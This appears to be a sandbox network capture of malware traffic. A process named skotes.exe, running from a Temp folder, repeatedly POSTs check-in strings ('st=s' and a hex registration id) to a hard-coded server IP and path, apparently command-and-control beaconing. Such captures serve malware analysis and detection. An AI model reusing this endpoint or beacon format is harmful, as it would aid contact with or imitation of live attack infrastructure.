Dec 17, 2024 22:11:58.539330006 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:11:59.960752010 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:11:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50173	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:01.599513054 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:12:03.141004086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50174	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:04.882482052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:12:06.374996901 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50175	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:08.009723902 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:12:09.521159887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50176	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:11.272464991 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:12:12.662971020 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50177	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:14.290344000 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:12:15.774564981 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50178	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:17.528676033 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:12:18.995465040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50179	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:20.631812096 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:12:22.063044071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50180	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:23.803247929 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:12:25.166667938 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50181	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:27.271702051 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:12:28.621978998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50182	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:30.365251064 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:12:31.720052958 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50183	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:33.350842953 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:12:34.702438116 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50184	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:37.816045046 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:12:39.388382912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50185	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:41.192375898 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:12:42.533282995 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50186	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:44.272449017 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:12:46.074688911 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 17, 2024 22:12:46.074984074 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50187	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:47.716258049 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:12:49.061292887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50188	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:50.812604904 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:12:52.160372972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50189	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:53.790783882 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:12:55.126382113 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50190	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:56.872643948 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:12:58.220360994 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:12:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50191	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:12:59.852853060 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:13:01.272145033 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	50192	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:03.025572062 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:13:04.641227961 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 17, 2024 22:13:04.728475094 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	50193	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:06.280658007 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:13:07.621334076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	50194	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:09.369004965 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:13:10.845000029 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	50195	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
